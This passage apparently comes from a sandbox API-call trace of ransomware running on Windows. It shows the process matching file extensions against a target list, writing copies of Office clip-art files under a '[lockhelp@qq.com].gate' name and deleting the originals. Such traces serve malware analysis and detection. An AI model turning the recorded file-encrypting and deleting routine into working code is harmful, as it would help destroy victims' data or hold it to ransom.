(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.424] lstrlenW (lpString=".doc") returned 4 [0321.424] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.424] lstrlenW (lpString=".docx") returned 5 [0321.424] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.424] lstrlenW (lpString=".pdf") returned 4 [0321.424] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.424] lstrlenW (lpString=".xls") returned 4 [0321.424] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.424] lstrlenW (lpString=".xlsx") returned 5 [0321.424] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.424] lstrlenW (lpString=".ppt") returned 4 [0321.424] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.424] lstrlenW (lpString=".zip") returned 4 [0321.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.425] lstrlenW (lpString=".rar") returned 4 [0321.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.425] lstrlenW (lpString=".bz2") returned 4 [0321.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.425] lstrlenW (lpString=".7z") returned 3 [0321.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.425] lstrlenW (lpString=".dbf") returned 4 [0321.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.425] lstrlenW (lpString=".1cd") returned 4 [0321.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0321.425] lstrlenW (lpString=".jpg") returned 4 [0321.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.425] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.425] lstrlenW (lpString="AN04385_.WMF") returned 12 [0321.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.426] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=5004) returned 1 [0321.426] CloseHandle (hObject=0x37c) returned 1 [0321.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 0x220 [0321.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.426] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.426] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0321.427] GetLastError () returned 0x0 [0321.427] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x138c, lpOverlapped=0x0) returned 1 [0321.428] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1390, lpOverlapped=0x0) returned 1 [0321.429] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.429] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.429] SetEndOfFile (hFile=0x36c) returned 1 [0321.429] CloseHandle (hObject=0x36c) returned 1 [0321.430] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.430] SetEndOfFile (hFile=0x37c) returned 1 [0321.431] CloseHandle (hObject=0x37c) returned 1 [0321.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.431] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0321.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.431] lstrlenW (lpString=".doc") returned 4 [0321.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.431] lstrlenW (lpString=".docx") returned 5 [0321.431] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.431] lstrlenW (lpString=".pdf") returned 4 [0321.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString=".xls") returned 4 [0321.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.432] lstrlenW (lpString=".xlsx") returned 5 [0321.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.432] lstrlenW (lpString=".ppt") returned 4 [0321.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.432] lstrlenW (lpString=".zip") returned 4 [0321.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.432] lstrlenW (lpString=".rar") returned 4 [0321.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString=".bz2") returned 4 [0321.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString=".7z") returned 3 [0321.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.432] lstrlenW (lpString=".dbf") returned 4 [0321.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.432] lstrlenW (lpString=".1cd") returned 4 [0321.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.432] lstrlenW (lpString=".jpg") returned 4 [0321.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.432] lstrlenW (lpString=".doc") returned 4 [0321.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString=".docx") returned 5 [0321.433] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.433] lstrlenW (lpString=".pdf") returned 4 [0321.433] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString=".xls") returned 4 [0321.433] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.433] lstrlenW (lpString=".xlsx") returned 5 [0321.433] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.433] lstrlenW (lpString=".ppt") returned 4 [0321.433] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.433] lstrlenW (lpString=".zip") returned 4 [0321.433] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.433] lstrlenW (lpString=".rar") returned 4 [0321.433] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString=".bz2") returned 4 [0321.433] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString=".7z") returned 3 [0321.433] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.433] lstrlenW (lpString=".dbf") returned 4 [0321.433] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.433] lstrlenW (lpString=".1cd") returned 4 [0321.433] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0321.433] lstrlenW (lpString=".jpg") returned 4 [0321.433] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.434] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.434] lstrlenW (lpString="BD00116_.WMF") returned 12 [0321.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.434] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=4870) returned 1 [0321.434] CloseHandle (hObject=0x37c) returned 1 [0321.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 0x220 [0321.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.435] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.435] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0321.435] GetLastError () returned 0x0 [0321.435] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x1306, lpOverlapped=0x0) returned 1 [0321.658] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x1310, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x1310, lpOverlapped=0x0) returned 1 [0321.659] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.659] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.659] SetEndOfFile (hFile=0x36c) returned 1 [0321.659] CloseHandle (hObject=0x36c) returned 1 [0321.660] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.660] SetEndOfFile (hFile=0x37c) returned 1 [0321.660] CloseHandle (hObject=0x37c) returned 1 [0321.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd00116_.wmf")) returned 1 [0321.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.662] lstrlenW (lpString=".doc") returned 4 [0321.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.662] lstrlenW (lpString=".docx") returned 5 [0321.662] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.662] lstrlenW (lpString=".pdf") returned 4 [0321.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.662] lstrlenW (lpString=".xls") returned 4 [0321.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.662] lstrlenW (lpString=".xlsx") returned 5 [0321.662] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.662] lstrlenW (lpString=".ppt") returned 4 [0321.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.662] lstrlenW (lpString=".zip") returned 4 [0321.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.662] lstrlenW (lpString=".rar") returned 4 [0321.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.662] lstrlenW (lpString=".bz2") returned 4 [0321.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.662] lstrlenW (lpString=".7z") returned 3 [0321.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.662] lstrlenW (lpString=".dbf") returned 4 [0321.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.662] lstrlenW (lpString=".1cd") returned 4 [0321.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.663] lstrlenW (lpString=".jpg") returned 4 [0321.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.663] lstrlenW (lpString=".doc") returned 4 [0321.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString=".docx") returned 5 [0321.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.663] lstrlenW (lpString=".pdf") returned 4 [0321.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString=".xls") returned 4 [0321.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.663] lstrlenW (lpString=".xlsx") returned 5 [0321.663] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.663] lstrlenW (lpString=".ppt") returned 4 [0321.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.663] lstrlenW (lpString=".zip") returned 4 [0321.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.663] lstrlenW (lpString=".rar") returned 4 [0321.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString=".bz2") returned 4 [0321.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.663] lstrlenW (lpString=".7z") returned 3 [0321.663] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.664] lstrlenW (lpString=".dbf") returned 4 [0321.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.664] lstrlenW (lpString=".1cd") returned 4 [0321.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00116_.WMF") returned 68 [0321.664] lstrlenW (lpString=".jpg") returned 4 [0321.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.664] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.664] lstrlenW (lpString="BD08773_.WMF") returned 12 [0321.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.665] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=24778) returned 1 [0321.665] CloseHandle (hObject=0x37c) returned 1 [0321.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 0x220 [0321.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.665] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.665] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0321.666] GetLastError () returned 0x0 [0321.666] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x60ca, lpOverlapped=0x0) returned 1 [0321.667] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0321.669] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.669] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.669] SetEndOfFile (hFile=0x36c) returned 1 [0321.669] CloseHandle (hObject=0x36c) returned 1 [0321.669] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.669] SetEndOfFile (hFile=0x37c) returned 1 [0321.670] CloseHandle (hObject=0x37c) returned 1 [0321.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0321.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.671] lstrlenW (lpString=".doc") returned 4 [0321.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.671] lstrlenW (lpString=".docx") returned 5 [0321.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.671] lstrlenW (lpString=".pdf") returned 4 [0321.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.671] lstrlenW (lpString=".xls") returned 4 [0321.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.671] lstrlenW (lpString=".xlsx") returned 5 [0321.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.671] lstrlenW (lpString=".ppt") returned 4 [0321.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.671] lstrlenW (lpString=".zip") returned 4 [0321.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.672] lstrlenW (lpString=".rar") returned 4 [0321.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString=".bz2") returned 4 [0321.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString=".7z") returned 3 [0321.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.672] lstrlenW (lpString=".dbf") returned 4 [0321.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.672] lstrlenW (lpString=".1cd") returned 4 [0321.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.672] lstrlenW (lpString=".jpg") returned 4 [0321.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.672] lstrlenW (lpString=".doc") returned 4 [0321.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString=".docx") returned 5 